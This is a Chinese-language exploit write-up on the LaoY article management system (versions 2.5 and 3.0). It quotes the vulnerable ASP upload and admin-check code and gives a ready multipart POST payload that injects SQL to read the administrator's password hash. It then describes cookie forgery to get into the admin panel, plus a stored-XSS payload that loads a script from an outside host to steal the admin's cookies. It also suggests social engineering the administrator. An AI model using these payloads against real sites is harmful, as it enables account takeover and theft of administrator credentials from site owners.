发布日期:2011-05.10
发布作者:xxbing
影响版本:2.5 3.0
漏洞类型:XSS,cookies欺骗
漏洞描述:
User/Upload.asp 文件 34-50 行:
if Uprequest.form("file_Err")<>0 then
select case Uprequest.form("file_Err")
case 1:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>"&Uprequest.MaxSize/1024&"K [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>"
case 2:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>文件格式不对 [<a href='javascript:history.go(-1)']>重新上传</a>]</font></div>"
case 3:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>文件太大且格式不对 [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>"
end select
response.write str
else
'注意这里,上传头像成功后,把头像路径更新到了UserFace字段。
sql="Update "&tbname&"_User set UserFace = '"&Uprequest.Form("file")&"' where ID= "&LaoYID
conn.execute(sql)
response.write "<script language=""javascript"">parent.UserReg.UserFace.value='"&Uprequest.Form("file")&"';"
response.write "</script>"
response.write "<div style=""margin-top:6px;""><font color=red>上传成功</font>,刷新该页面即可看到新的头像。<a href='javascript:history.go(-1)'>重新上传</a></div>"
conn.close
set conn=nothing
end if |
60-67 行代码:
'生成头像
'这里要注意,如果不是gif后缀,则对上传的头像进行长、宽处理,所以,为了上传动作顺利进行,大家还是传个gif格式的文件上去
If right(RV_img,4)<>".gif" then
Dim S_Width,S_Height,H_Temp,W_Temp
S_Width=100
S_Height=100
Set Jpeg = Server.CreateObject("Persits.Jpeg") '创建实例
Path = Server.MapPath(RV_img) '处理图片路径
Jpeg.Open Path '打开图片 |
上传头像抓包内容,我用的火狐浏览器插件livehttp,我这里就不把头部的东西放上来了。发送以下的PostData。
以下是引用片段:
-----------------------------4827543632391\r\n
Content-Disposition: form-data; name="file" ;filename="c:\1.gif"\r\n
\r\n
gif87a
123123123123123123123
\r\n
-----------------------------4827543632391\r\n
Content-Disposition: form-data; name="file"\r\n
\r\n
//重点在这里,DLookup是什么东西,怎么用的,请自行百度、google查询。谢谢
abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
\r\n
-----------------------------4827543632391\r\n
Content-Disposition: form-data; name="submit"\r\n
\r\n
é?′?\r\n
-----------------------------4827543632391--\r\n |
返回后,可以看到自己EMAIL一项变成了管理员的MD5加密串。老Y文章管理系统作者在MD5.asp里面做了手脚,保存的MD5为前16位,无法破解密文。不过没有关系··
以Cookie欺骗登陆后台···
admin/admin_check.asp:
<%
Dim LaoYAdminID,LaoYAdminName,LaoYAdminPass,IsAdmin,rs5
'太弱了····
LaoYAdminID =LaoYRequest(Request.Cookies("LaoYAdmin")("UserID"))
LaoYAdminName =CheckStr(Request.Cookies("LaoYAdmin")("UserName"))
LaoYAdminPass =CheckStr(Request.Cookies("LaoYAdmin")("UserPass"))
If LaoYAdminID<>"" and LaoYAdminName<>"" and LaoYAdminPass<>"" then
set rs5 = server.CreateObject ("adodb.recordset")
sql="Select Top 1 * from ["&tbname&"_Admin] where id="& LaoYAdminID &" and Admin_Pass='"&LaoYAdminPass&"' and Admin_Name='"&LaoYAdminName&"'"
on error resume next
rs5.open sql,conn,1,1
Dim myadminid,myadminpass,myadminuser
myadminid =rs5("ID")
myadminpass =rs5("Admin_Pass")
myadminuser =rs5("Admin_Name")
myadminip =rs5("Admin_IP")
yaomight =rs5("AdminMight")
yaoadmintype =rs5("AdminType")
yaoadpower =rs5("ADPower")
yaoWritePower =rs5("WritePower")
yaoManagePower =rs5("ManagePower")
rs5.close
set rs5=nothing
'太弱了····
If myadminid<>Int(LaoYAdminID) or myadminpass<>LaoYAdminPass or myadminuser<>LaoYAdminName or myadminip<>GetIP Then
IsAdmin=0
Else
IsAdmin=1
End if
End if
If IsAdmin<>1 then
Response.Redirect ""&SitePath&""&SiteAdmin&"/Admin_Login.asp"
End if
%> |
这个你懂的···读出管理员的 ID、Admin_Pass,name,IP就可以登陆后台了。
我相信实际情况中大部分老Y系统后台都修改了名字,对于这种猥琐至极的管理员,我们就要使用更加超级无敌猥琐的方法···
XSS。。。
POSTDATA中
abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
我们可以这样写
abc',UserIp='<script src=http://xxbing.com/a.js></script>',Sex='0
管理员打开后台,查看所有用户列表时,就会被X到了··
至于他什么时候会查看所有用户,我也不知道,相信你能够用社工的手法,让他主动去看你的注册资料。
a.js代码的功能就是捕捉管理员后台地址和cookie地址,如果你想,还可以在里面添加其他猥琐功能,比如自动备份数据,自动添加新的管理员。
那随你了。a.js代码在这里就不提供了。
文章作者
Nuclear'Atk
上次更新
2011-05-12
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。